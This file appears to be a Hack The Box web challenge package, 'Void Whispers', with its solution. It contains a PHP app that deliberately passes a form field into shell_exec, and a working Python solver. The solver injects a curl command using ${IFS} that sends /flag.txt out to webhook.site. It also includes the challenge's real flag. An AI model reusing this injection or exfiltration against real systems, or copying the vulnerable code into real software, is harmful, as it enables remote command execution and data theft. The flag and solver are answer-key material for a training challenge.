HTB{c0mm4nd_1nj3ct10n_4r3_3457_70_f1nD!!}

View file

@ -0,0 +1,43 @@
import requests, random, string
host = '127.0.0.1:1337'
class WEBHOOK:
def __init__(self):
self.url = "https://webhook.site"
try:
resp = requests.post('{}/token'.format(self.url), json={"actions": True, "alias": ''.join(random.choices(string.ascii_letters, k=20)), "cors": False}, timeout=15)
self.token = resp.json()['uuid']
except:
print("[!] Couldn't reach webhook.site, please make sure we have internet access!")
sys.exit()
def get_flag(self):
try:
resp = requests.get('{}/token/{}/request/latest'.format(self.url,self.token), timeout=15)
flag = resp.json()['url']
except:
return False
return flag
def destroy(self):
requests.delete('{}/token/{}'.format(self.url,self.token), timeout=15)
webhook = WEBHOOK()
data = {
'from': 'Ghostly Support',
'email': 'support@haunted-mailer.htb',
'sendMailPath': '/usr/sbin/sendmail;curl${IFS}https://webhook.site/'+webhook.token+'?x=$(cat${IFS}/flag.txt)',
'mailProgram': 'sendmail'
}
response = requests.post(f'http://{host}/update', headers={'Content-Type': 'application/x-www-form-urlencoded'}, data=data)
while True:
flag = webhook.get_flag()
if flag:
break
print(flag)

View file

@ -0,0 +1,26 @@
FROM php:alpine
# Setup user
RUN adduser -D -u 1000 -g 1000 -s /bin/sh www
# Install system packages
RUN apk add --no-cache --update curl supervisor nginx php-fpm
# Configure php-fpm and nginx
COPY config/fpm.conf /etc/php83/php-fpm.d/www.conf
COPY config/supervisord.conf /etc/supervisord.conf
COPY config/nginx.conf /etc/nginx/nginx.conf
# Copy challenge files
COPY challenge /www
COPY flag.txt /
# Setup permissions
RUN chown -R www:www /var/lib/nginx
RUN chown -R www:www /www
# Expose the port nginx is listening on
EXPOSE 1337
# Start supervisord
CMD ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"]

View file

@ -0,0 +1,2 @@
docker build . -t web_void_whispers
docker run -it -p 1337:1337 web_void_whispers

View file

@ -0,0 +1,125 @@
<?php
class Router
{
public $routes = [];
public function new($method, $route, $controller)
{
$r = [
'method' => $method,
'route' => $route,
];
if (is_callable($controller))
{
$r['controller'] = $controller;
$this->routes[] = $r;
}
else if (strpos($controller, '@'))
{
$split = explode('@', $controller);
$class = $split[0];
$function = $split[1];
$r['controller'] = [
'class' => $class,
'function' => $function
];
$this->routes[] = $r;
}
else
{
throw new Exception('Invalid controller');
}
}
public function match()
{
foreach($this->routes as $route)
{
if ($this->_match_route($route['route']))
{
if ($route['method'] != $_SERVER['REQUEST_METHOD'])
{
$this->abort(405);
}
$params = $this->getRouteParameters($route['route']);
if (is_array($route['controller']))
{
$controller = $route['controller'];
$class = $controller['class'];
$function = $controller['function'];
return (new $class)->$function($this,$params);
}
return $route['controller']($this,$params);
}
}
$this->abort(404);
}
public function _match_route($route)
{
$uri = explode('/', strtok($_SERVER['REQUEST_URI'], '?'));
$route = explode('/', $route);
if (count($uri) != count($route)) return false;
foreach ($route as $key => $value)
{
if ($uri[$key] != $value && $value != '{param}') return false;
}
return true;
}
public function getRouteParameters($route)
{
$params = [];
$uri = explode('/', strtok($_SERVER['REQUEST_URI'], '?'));
$route = explode('/', $route);
foreach ($route as $key => $value)
{
if ($uri[$key] == $value) continue;
if ($value == '{param}')
{
if ($uri[$key] == '')
{
$this->abort(404);
}
$params[] = $uri[$key];
}
}
return $params;
}
public function abort($code)
{
http_response_code($code);
exit;
}
public function view($view, $data = [])
{
extract($data);
include __DIR__."/views/{$view}.php";
exit;
}
public function jsonify($body, $code = null)
{
if ($code) {
http_response_code($code);
}
header('Content-Type: application/json; charset=utf-8');
echo json_encode($body);
exit;
}
}

View file

@ -0,0 +1,54 @@
<?php
class IndexController
{
private $configFile = 'config.json';
private $config;
public function __construct() {
if (file_exists($this->configFile)) {
$this->config = json_decode(file_get_contents($this->configFile), true);
} else {
$this->config = array(
'from' => 'Ghostly Support',
'email' => 'support@void-whispers.htb',
'sendMailPath' => '/usr/sbin/sendmail',
'mailProgram' => 'sendmail',
);
}
}
public function index($router)
{
$router->view('index', ['config' => $this->config]);
}
public function updateSetting($router)
{
$from = $_POST['from'];
$mailProgram = $_POST['mailProgram'];
$sendMailPath = $_POST['sendMailPath'];
$email = $_POST['email'];
if (empty($from) || empty($mailProgram) || empty($sendMailPath) || empty($email)) {
return $router->jsonify(['message' => 'All fields required!', 'status' => 'danger'], 400);
}
if (preg_match('/\s/', $sendMailPath)) {
return $router->jsonify(['message' => 'Sendmail path should not contain spaces!', 'status' => 'danger'], 400);
}
$whichOutput = shell_exec("which $sendMailPath");
if (empty($whichOutput)) {
return $router->jsonify(['message' => 'Binary does not exist!', 'status' => 'danger'], 400);
}
$this->config['from'] = $from;
$this->config['mailProgram'] = $mailProgram;
$this->config['sendMailPath'] = $sendMailPath;
$this->config['email'] = $email;
file_put_contents($this->configFile, json_encode($this->config));
return $router->jsonify(['message' => 'Config updated successfully!', 'status' => 'success'], 200);
}
}

View file

@ -0,0 +1,14 @@
<?php spl_autoload_register(function ($name) {
if (preg_match('/Controller$/', $name)) {
$name = "controllers/{$name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/{$name}";
}
include_once "{$name}.php";
});
$router = new Router();
$router->new('GET', '/', 'IndexController@index');
$router->new('POST', '/update', 'IndexController@updateSetting');
die($router->match());

File diff suppressed because one or more lines are too long

View file

@ -0,0 +1,532 @@
html {
height: 100%;
width: 100%;
overflow: hidden;
scroll: none;
}
body {
background-color: #2F5363;
*zoom: 1;
filter: progid:DXImageTransform.Microsoft.gradient(gradientType=1, startColorstr='#FF2F5363', endColorstr='#FF1B2628');
background-image: url('data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4gPHN2ZyB2ZXJzaW9uPSIxLjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PGRlZnM+PHJhZGlhbEdyYWRpZW50IGlkPSJncmFkIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgY3g9IjUwJSIgY3k9IiIgcj0iODAlIj48c3RvcCBvZmZzZXQ9IjAlIiBzdG9wLWNvbG9yPSIjMmY1MzYzIi8+PHN0b3Agb2Zmc2V0PSI4MCUiIHN0b3AtY29sb3I9IiMxYjI2MjgiLz48L3JhZGlhbEdyYWRpZW50PjwvZGVmcz48cmVjdCB4PSIwIiB5PSIwIiB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxMDAlIiBmaWxsPSJ1cmwoI2dyYWQpIiAvPjwvc3ZnPiA=');
background-size: 100%;
background-image: -moz-radial-gradient(center, ellipse cover, #2f5363 0%, #1b2628 80%);
background-image: -webkit-radial-gradient(center, ellipse cover, #2f5363 0%, #1b2628 80%);
background-image: radial-gradient(ellipse cover at center, #2f5363 0%, #1b2628 80%);
overflow: hidden;
}
[class*="spider"] {
position: absolute;
height: 40px;
width: 50px;
-moz-border-radius: 50%;
-webkit-border-radius: 50%;
border-radius: 50%;
margin: 40px 0 0 0;
background: #110D04;
}
[class*="spider"] *, [class*="spider"]:before, [class*="spider"]:after, [class*="spider"] :after, [class*="spider"] :before {
position: absolute;
content: "";
}
[class*="spider"]:before {
width: 1px;
background: #AAAAAA;
left: 50%;
top: -320px;
height: 320px;
}
[class*="spider"] .eye {
top: 16px;
height: 14px;
width: 12px;
background: #FFFFFF;
-moz-border-radius: 50%;
-webkit-border-radius: 50%;
border-radius: 50%;
}
[class*="spider"] .eye:after {
top: 6px;
height: 5px;
width: 5px;
-moz-border-radius: 50%;
-webkit-border-radius: 50%;
border-radius: 50%;
background: black;
}
[class*="spider"] .eye.left {
left: 14px;
}
[class*="spider"] .eye.left:after {
right: 3px;
}
[class*="spider"] .eye.right {
right: 14px;
}
[class*="spider"] .eye.right:after {
left: 3px;
}
[class*="spider"] .leg {
top: 6px;
height: 12px;
width: 14px;
border-top: 2px solid #110D04;
border-left: 1px solid transparent;
border-right: 1px solid transparent;
border-bottom: 1px solid transparent;
z-index: -1;
}
[class*="spider"] .leg.left {
left: -8px;
-moz-transform-origin: top right;
-ms-transform-origin: top right;
-webkit-transform-origin: top right;
transform-origin: top right;
-moz-transform: rotate(36deg) skewX(-20deg);
-ms-transform: rotate(36deg) skewX(-20deg);
-webkit-transform: rotate(36deg) skewX(-20deg);
transform: rotate(36deg) skewX(-20deg);
border-left: 2px solid #110D04;
-moz-border-radius: 60% 0 0 0;
-webkit-border-radius: 60%;
border-radius: 60% 0 0 0;
-moz-animation: legs-wriggle-left 1s 0s infinite;
-webkit-animation: legs-wriggle-left 1s 0s infinite;
animation: legs-wriggle-left 1s 0s infinite;
}
[class*="spider"] .leg.right {
right: -8px;
-moz-transform-origin: top left;
-ms-transform-origin: top left;
-webkit-transform-origin: top left;
transform-origin: top left;
-moz-transform: rotate(-36deg) skewX(20deg);
-ms-transform: rotate(-36deg) skewX(20deg);
-webkit-transform: rotate(-36deg) skewX(20deg);
transform: rotate(-36deg) skewX(20deg);
border-right: 2px solid #110D04;
-moz-border-radius: 0 60% 0 0;
-webkit-border-radius: 0;
border-radius: 0 60% 0 0;
-moz-animation: legs-wriggle-right 1s 0.2s infinite;
-webkit-animation: legs-wriggle-right 1s 0.2s infinite;
animation: legs-wriggle-right 1s 0.2s infinite;
}
[class*="spider"] .leg:nth-of-type(2) {
top: 14px;
left: -11px;
-moz-animation: legs-wriggle-left 1s 0.8s infinite;
-webkit-animation: legs-wriggle-left 1s 0.8s infinite;
animation: legs-wriggle-left 1s 0.8s infinite;
}
[class*="spider"] .leg:nth-of-type(3) {
top: 22px;
left: -12px;
-moz-animation: legs-wriggle-left 1s 0.2s infinite;
-webkit-animation: legs-wriggle-left 1s 0.2s infinite;
animation: legs-wriggle-left 1s 0.2s infinite;
}
[class*="spider"] .leg:nth-of-type(4) {
top: 31px;
left: -10px;
-moz-animation: legs-wriggle-left 1s 0.4s infinite;
-webkit-animation: legs-wriggle-left 1s 0.4s infinite;
animation: legs-wriggle-left 1s 0.4s infinite;
}
[class*="spider"] .leg:nth-of-type(6) {
top: 14px;
right: -11px;
-moz-animation: legs-wriggle-right 1s 0.4s infinite;
-webkit-animation: legs-wriggle-right 1s 0.4s infinite;
animation: legs-wriggle-right 1s 0.4s infinite;
}
[class*="spider"] .leg:nth-of-type(7) {
top: 22px;
right: -12px;
-moz-animation: legs-wriggle-right 1s 0.7s infinite;
-webkit-animation: legs-wriggle-right 1s 0.7s infinite;
animation: legs-wriggle-right 1s 0.7s infinite;
}
[class*="spider"] .leg:nth-of-type(8) {
top: 31px;
right: -10px;
-moz-animation: legs-wriggle-right 1s 0.3s infinite;
-webkit-animation: legs-wriggle-right 1s 0.3s infinite;
animation: legs-wriggle-right 1s 0.3s infinite;
}
.spider_0 {
left: 5%;
-moz-animation: spider-move-0 5s infinite;
-webkit-animation: spider-move-0 5s infinite;
animation: spider-move-0 5s infinite;
}
.spider_1 {
left: 20%;
-moz-animation: spider-move-1 5s infinite;
-webkit-animation: spider-move-1 5s infinite;
animation: spider-move-1 5s infinite;
}
.spider_2 {
left: 35%;
-moz-animation: spider-move-2 5s infinite;
-webkit-animation: spider-move-2 5s infinite;
animation: spider-move-2 5s infinite;
}
.spider_3 {
right: 35%;
margin-top: 160px;
-moz-animation: spider-move-3 5s infinite;
-webkit-animation: spider-move-3 5s infinite;
animation: spider-move-3 5s infinite;
}
.spider_4 {
right: 20%;
margin-top: 50px;
-moz-animation: spider-move-4 5s infinite;
-webkit-animation: spider-move-4 5s infinite;
animation: spider-move-4 5s infinite;
}
.spider_5 {
right: 5%;
margin-top: 210px;
-moz-animation: spider-move-5 5s infinite;
-webkit-animation: spider-move-5 5s infinite;
animation: spider-move-5 5s infinite;
}
h1 {
position: absolute;
left: 6%;
bottom: 12%;
font-family: 'Eater', cursive;
font-size: 8.5vw;
color: #111111;
-moz-animation: flicker 4s 0s infinite;
-webkit-animation: flicker 4s 0s infinite;
animation: flicker 4s 0s infinite;
}
.web-right {
position: absolute;
height: 200px;
width: auto;
right: -10px;
top: -10px;
z-index: -1;
opacity: 0.2;
}
.web-left {
position: absolute;
left: -10px;
top: -10px;
-moz-transform: rotate(-90deg);
-ms-transform: rotate(-90deg);
-webkit-transform: rotate(-90deg);
transform: rotate(-90deg);
z-index: -1;
opacity: 0.2;
}
@-moz-keyframes flicker {
0%, 6%, 12% {
text-shadow: none;
color: #111111;
}
3%, 9% {
text-shadow: 0 0 8px rgba(250, 103, 1, 0.6);
color: #fa6701;
}
60% {
text-shadow: 0 0 8px rgba(250, 103, 1, 0.6), 0 0 16px rgba(250, 103, 1, 0.4), 0 0 20px rgba(255, 0, 84, 0.2), 0 0 22px rgba(255, 0, 84, 0.1);
color: #fa6701;
}
100% {
text-shadow: 0 0 8px rgba(250, 103, 1, 0.6), 0 0 16px rgba(250, 103, 1, 0.4), 0 0 20px rgba(255, 0, 84, 0.2), 0 0 22px rgba(255, 0, 84, 0.1);
color: #fa6701;
}
}
@-webkit-keyframes flicker {
0%, 6%, 12% {
text-shadow: none;
color: #111111;
}
3%, 9% {
text-shadow: 0 0 8px rgba(250, 103, 1, 0.6);
color: #fa6701;
}
60% {
text-shadow: 0 0 8px rgba(250, 103, 1, 0.6), 0 0 16px rgba(250, 103, 1, 0.4), 0 0 20px rgba(255, 0, 84, 0.2), 0 0 22px rgba(255, 0, 84, 0.1);
color: #fa6701;
}
100% {
text-shadow: 0 0 8px rgba(250, 103, 1, 0.6), 0 0 16px rgba(250, 103, 1, 0.4), 0 0 20px rgba(255, 0, 84, 0.2), 0 0 22px rgba(255, 0, 84, 0.1);
color: #fa6701;
}
}
@keyframes flicker {
0%, 6%, 12% {
text-shadow: none;
color: #111111;
}
3%, 9% {
text-shadow: 0 0 8px rgba(250, 103, 1, 0.6);
color: #fa6701;
}
60% {
text-shadow: 0 0 8px rgba(250, 103, 1, 0.6), 0 0 16px rgba(250, 103, 1, 0.4), 0 0 20px rgba(255, 0, 84, 0.2), 0 0 22px rgba(255, 0, 84, 0.1);
color: #fa6701;
}
100% {
text-shadow: 0 0 8px rgba(250, 103, 1, 0.6), 0 0 16px rgba(250, 103, 1, 0.4), 0 0 20px rgba(255, 0, 84, 0.2), 0 0 22px rgba(255, 0, 84, 0.1);
color: #fa6701;
}
}
@-moz-keyframes legs-wriggle-left {
0%, 100% {
-moz-transform: rotate(36deg) skewX(-20deg);
transform: rotate(36deg) skewX(-20deg);
}
25%, 75% {
-moz-transform: rotate(15deg) skewX(-20deg);
transform: rotate(15deg) skewX(-20deg);
}
50% {
-moz-transform: rotate(45deg) skewX(-20deg);
transform: rotate(45deg) skewX(-20deg);
}
}
@-webkit-keyframes legs-wriggle-left {
0%, 100% {
-webkit-transform: rotate(36deg) skewX(-20deg);
transform: rotate(36deg) skewX(-20deg);
}
25%, 75% {
-webkit-transform: rotate(15deg) skewX(-20deg);
transform: rotate(15deg) skewX(-20deg);
}
50% {
-webkit-transform: rotate(45deg) skewX(-20deg);
transform: rotate(45deg) skewX(-20deg);
}
}
@keyframes legs-wriggle-left {
0%, 100% {
-moz-transform: rotate(36deg) skewX(-20deg);
-ms-transform: rotate(36deg) skewX(-20deg);
-webkit-transform: rotate(36deg) skewX(-20deg);
transform: rotate(36deg) skewX(-20deg);
}
25%, 75% {
-moz-transform: rotate(15deg) skewX(-20deg);
-ms-transform: rotate(15deg) skewX(-20deg);
-webkit-transform: rotate(15deg) skewX(-20deg);
transform: rotate(15deg) skewX(-20deg);
}
50% {
-moz-transform: rotate(45deg) skewX(-20deg);
-ms-transform: rotate(45deg) skewX(-20deg);
-webkit-transform: rotate(45deg) skewX(-20deg);
transform: rotate(45deg) skewX(-20deg);
}
}
@-moz-keyframes legs-wriggle-right {
0%, 100% {
-moz-transform: rotate(-36deg) skewX(20deg);
transform: rotate(-36deg) skewX(20deg);
}
25%, 75% {
-moz-transform: rotate(-15deg) skewX(20deg);
transform: rotate(-15deg) skewX(20deg);
}
50% {
-moz-transform: rotate(-45deg) skewX(20deg);
transform: rotate(-45deg) skewX(20deg);
}
}
@-webkit-keyframes legs-wriggle-right {
0%, 100% {
-webkit-transform: rotate(-36deg) skewX(20deg);
transform: rotate(-36deg) skewX(20deg);
}
25%, 75% {
-webkit-transform: rotate(-15deg) skewX(20deg);
transform: rotate(-15deg) skewX(20deg);
}
50% {
-webkit-transform: rotate(-45deg) skewX(20deg);
transform: rotate(-45deg) skewX(20deg);
}
}
@keyframes legs-wriggle-right {
0%, 100% {
-moz-transform: rotate(-36deg) skewX(20deg);
-ms-transform: rotate(-36deg) skewX(20deg);
-webkit-transform: rotate(-36deg) skewX(20deg);
transform: rotate(-36deg) skewX(20deg);
}
25%, 75% {
-moz-transform: rotate(-15deg) skewX(20deg);
-ms-transform: rotate(-15deg) skewX(20deg);
-webkit-transform: rotate(-15deg) skewX(20deg);
transform: rotate(-15deg) skewX(20deg);
}
50% {
-moz-transform: rotate(-45deg) skewX(20deg);
-ms-transform: rotate(-45deg) skewX(20deg);
-webkit-transform: rotate(-45deg) skewX(20deg);
transform: rotate(-45deg) skewX(20deg);
}
}
@-moz-keyframes spider-move-0 {
0%, 100% {
margin-top: 80px;
}
66% {
margin-top: calc(80px + 76px);
}
}
@-webkit-keyframes spider-move-0 {
0%, 100% {
margin-top: 80px;
}
66% {
margin-top: calc(80px + 76px);
}
}
@keyframes spider-move-0 {
0%, 100% {
margin-top: 80px;
}
66% {
margin-top: calc(80px + 76px);
}
}
@-moz-keyframes spider-move-1 {
0%, 100% {
margin-top: 178px;
}
57% {
margin-top: calc(178px + 28px);
}
}
@-webkit-keyframes spider-move-1 {
0%, 100% {
margin-top: 178px;
}
57% {
margin-top: calc(178px + 28px);
}
}
@keyframes spider-move-1 {
0%, 100% {
margin-top: 178px;
}
57% {
margin-top: calc(178px + 28px);
}
}
@-moz-keyframes spider-move-2 {
0%, 100% {
margin-top: 190px;
}
39% {
margin-top: calc(190px + 113px);
}
}
@-webkit-keyframes spider-move-2 {
0%, 100% {
margin-top: 190px;
}
39% {
margin-top: calc(190px + 113px);
}
}
@keyframes spider-move-2 {
0%, 100% {
margin-top: 190px;
}
39% {
margin-top: calc(190px + 113px);
}
}
@-moz-keyframes spider-move-3 {
0%, 100% {
margin-top: 191px;
}
55% {
margin-top: calc(191px + 47px);
}
}
@-webkit-keyframes spider-move-3 {
0%, 100% {
margin-top: 191px;
}
55% {
margin-top: calc(191px + 47px);
}
}
@keyframes spider-move-3 {
0%, 100% {
margin-top: 191px;
}
55% {
margin-top: calc(191px + 47px);
}
}
@-moz-keyframes spider-move-4 {
0%, 100% {
margin-top: 55px;
}
38% {
margin-top: calc(55px + 112px);
}
}
@-webkit-keyframes spider-move-4 {
0%, 100% {
margin-top: 55px;
}
38% {
margin-top: calc(55px + 112px);
}
}
@keyframes spider-move-4 {
0%, 100% {
margin-top: 55px;
}
38% {
margin-top: calc(55px + 112px);
}
}
@-moz-keyframes spider-move-5 {
0%, 100% {
margin-top: 116px;
}
40% {
margin-top: calc(116px + 112px);
}
}
@-webkit-keyframes spider-move-5 {
0%, 100% {
margin-top: 116px;
}
40% {
margin-top: calc(116px + 112px);
}
}
@keyframes spider-move-5 {
0%, 100% {
margin-top: 116px;
}
40% {
margin-top: calc(116px + 112px);
}
}

View file

@ -0,0 +1,272 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>🎃 Void Whispers 🎃</title>
<link href="https://fonts.googleapis.com/css?family=Eater" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css">
<link rel="stylesheet" href="/static/css/main.css">
<style>
html {
height: 100%;
width: 100%;
overflow: hidden;
}
body {
background-color: #2F5363;
filter: progid:DXImageTransform.Microsoft.gradient(gradientType=1, startColorstr='#FF2F5363', endColorstr='#FF1B2628');
background-image: radial-gradient(ellipse cover at center, #2f5363 0%, #1b2628 80%);
overflow: hidden;
}
/* Spider Animation */
[class*="spider"] {
position: absolute;
height: 40px;
width: 50px;
border-radius: 50%;
margin: 40px 0 0 0;
background: #110D04;
}
[class*="spider"] *, [class*="spider"]:before, [class*="spider"]:after {
position: absolute;
content: "";
}
[class*="spider"]:before {
width: 1px;
background: #AAAAAA;
left: 50%;
top: -320px;
height: 320px;
}
[class*="spider"] .eye {
top: 16px;
height: 14px;
width: 12px;
background: #FFFFFF;
border-radius: 50%;
}
[class*="spider"] .eye:after {
top: 6px;
height: 5px;
width: 5px;
background: black;
border-radius: 50%;
}
[class*="spider"] .eye.left { left: 14px; }
[class*="spider"] .eye.left:after { right: 3px; }
[class*="spider"] .eye.right { right: 14px; }
[class*="spider"] .eye.right:after { left: 3px; }
/* ... Additional Spider Animation CSS from the original code ... */
/* Form Styling */
.form-container {
position: absolute;
top: 50%;
left: 50%;
width: 50%;
transform: translate(-50%, -50%);
background-color: rgba(0, 0, 0, 0.8);
padding: 20px;
border-radius: 10px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.5);
}
.form-container h1 {
font-family: 'Eater', cursive;
font-size: 2rem;
position: relative !important;
color: #ff7518;
left: 0 !important;
text-align: center;
}
.form-container label {
color: #fff;
}
.form-control {
background-color: #333;
border: 1px solid #444;
color: #fff;
}
.btn-primary {
background-color: #ff7518 !important;
border-color: #ff7518;
width: 100%;
}
.btn-primary:hover {
background-color: #e65c00 !important;
}
.response-message {
margin-top: 15px;
display: none;
}
</style>
</head>
<body>
<!-- Spiders Animation -->
<div class='spider_0'>
<div class='eye left'></div>
<div class='eye right'></div>
<span class='leg left'></span>
<span class='leg left'></span>
<span class='leg left'></span>
<span class='leg left'></span>
<span class='leg right'></span>
<span class='leg right'></span>
<span class='leg right'></span>
<span class='leg right'></span>
</div>
<div class='spider_1'>
<div class='eye left'></div>
<div class='eye right'></div>
<span class='leg left'></span>
<span class='leg left'></span>
<span class='leg left'></span>
<span class='leg left'></span>
<span class='leg right'></span>
<span class='leg right'></span>
<span class='leg right'></span>
<span class='leg right'></span>
</div>
<div class='spider_2'>
<div class='eye left'></div>
<div class='eye right'></div>
<span class='leg left'></span>
<span class='leg left'></span>
<span class='leg left'></span>
<span class='leg left'></span>
<span class='leg right'></span>
<span class='leg right'></span>
<span class='leg right'></span>
<span class='leg right'></span>
</div> <!-- More spiders here... -->
<div class='spider_3'>
<div class='eye left'></div>
<div class='eye right'></div>
<span class='leg left'></span>
<span class='leg left'></span>
<span class='leg left'></span>
<span class='leg left'></span>
<span class='leg right'></span>
<span class='leg right'></span>
<span class='leg right'></span>
<span class='leg right'></span>
</div> <div class='spider_4'>
<div class='eye left'></div>
<div class='eye right'></div>
<span class='leg left'></span>
<span class='leg left'></span>
<span class='leg left'></span>
<span class='leg left'></span>
<span class='leg right'></span>
<span class='leg right'></span>
<span class='leg right'></span>
<span class='leg right'></span>
</div> <div class='spider_5'>
<div class='eye left'></div>
<div class='eye right'></div>
<span class='leg left'></span>
<span class='leg left'></span>
<span class='leg left'></span>
<span class='leg left'></span>
<span class='leg right'></span>
<span class='leg right'></span>
<span class='leg right'></span>
<span class='leg right'></span>
</div> <div class='spider_6'>
<div class='eye left'></div>
<div class='eye right'></div>
<span class='leg left'></span>
<span class='leg left'></span>
<span class='leg left'></span>
<span class='leg left'></span>
<span class='leg right'></span>
<span class='leg right'></span>
<span class='leg right'></span>
<span class='leg right'></span>
</div>
<!-- Void Whispers Form -->
<div class="form-container">
<h1>🎃 Void Whispers 🎃</h1>
<div method="post" id="settingsForm">
<div class="form-group">
<label for="from-name">From Name 📝</label>
<input type="text" name="from-name" class="form-control" id="from-name" value="<?php echo $config['from']; ?>" />
</div>
<div class="form-group">
<label for="from-mail">From Email 📧</label>
<input type="text" name="from-mail" class="form-control" id="from-mail" value="<?php echo $config['email']; ?>" />
</div>
<div class="form-group">
<label for="mail-binary">Sendmail PATH 📜</label>
<input type="text" name="mail-binary" class="form-control" id="mail-binary" value="<?php echo $config['sendMailPath']; ?>" />
</div>
<div class="form-group">
<label for="mail-program">Mail Program 🛠️</label>
<input type="text" name="mail-program" class="form-control" id="mail-program" value="<?php echo $config['mailProgram']; ?>" />
</div>
<button onclick="submitForm()" type="submit" class="btn btn-primary">💀 Save 💀</button>
</div>
<div id="response-message" class="alert response-message"></div>
</div>
<!-- Script for handling form submission -->
<script>
const submitForm = () => {
// Collect form data
const formData = new URLSearchParams();
formData.append('from', document.getElementById('from-name').value);
formData.append('email', document.getElementById('from-mail').value);
formData.append('sendMailPath', document.getElementById('mail-binary').value);
formData.append('mailProgram', document.getElementById('mail-program').value);
// Send the API request
fetch('/update', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: formData.toString()
})
.then(response => response.json())
.then(data => {
const responseMessage = document.getElementById('response-message');
responseMessage.style.display = 'block';
responseMessage.innerText = data.message;
if (data.status === 'success') {
responseMessage.classList.add('alert-success');
responseMessage.classList.remove('alert-danger');
} else {
responseMessage.classList.add('alert-danger');
responseMessage.classList.remove('alert-success');
}
})
.catch(error => {
console.error('Error:', error);
const responseMessage = document.getElementById('response-message');
responseMessage.style.display = 'block';
responseMessage.innerText = 'An error occurred. Please try again.';
responseMessage.classList.add('alert-danger');
});
}
</script>
</body>
</html>

View file

@ -0,0 +1,21 @@
[global]
daemonize = no
error_log = /dev/stderr
log_level = notice
[www]
user = www
group = www
clear_env = On
listen = /run/php-fpm.sock
listen.owner = www
listen.group = www
pm = dynamic
pm.max_children = 5
pm.start_servers = 2
pm.min_spare_servers = 1
pm.max_spare_servers = 3
php_flag[expose_php]=off

View file

@ -0,0 +1,40 @@
user www;
pid /run/nginx.pid;
error_log /dev/stderr info;
events {
worker_connections 1024;
}
http {
server_tokens off;
log_format docker '$remote_addr $remote_user $status "$request" "$http_referer" "$http_user_agent" ';
access_log /var/log/nginx/access.log docker;
charset utf-8;
keepalive_timeout 20s;
sendfile on;
tcp_nopush on;
client_max_body_size 1M;
include /etc/nginx/mime.types;
server {
listen 1337;
server_name _;
index index.php;
root /www;
location / {
try_files $uri $uri/ /index.php?$query_string;
location ~ \.php$ {
try_files $uri =404;
fastcgi_pass unix:/run/php-fpm.sock;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
}
}
}

View file

@ -0,0 +1,23 @@
[supervisord]
user=root
nodaemon=true
logfile=/dev/null
logfile_maxbytes=0
pidfile=/run/supervisord.pid
[program:fpm]
command=php-fpm83 -F
autostart=true
priority=1000
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0
[program:nginx]
command=nginx -g 'daemon off;'
autostart=true
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0

View file

@ -0,0 +1 @@
HTB{FAKE_FLAG_FOR_TESTING}